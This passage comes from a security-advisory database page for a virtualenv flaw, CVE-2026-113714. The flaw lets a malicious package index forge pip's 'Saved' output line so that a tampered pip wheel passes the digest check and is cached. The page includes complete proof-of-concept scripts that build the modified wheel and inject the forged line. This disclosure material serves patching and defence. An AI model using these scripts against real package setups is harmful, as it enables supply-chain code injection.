wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-hatch-CVE-2026-113714",
"modified": "2026-10-29T22:13:59Z",
"published": "2026-10-26T09:41:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
BREW-NOX-CVE-2026-113714 (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:50 – Updated: 2026-10-29 22:29 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "nox",
"purl": "pkg:brew/nox"
},
"ranges": [
{
"events": [
{
"introduced": "2026.8.17_1"
},
{
"fixed": "2026.10.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef 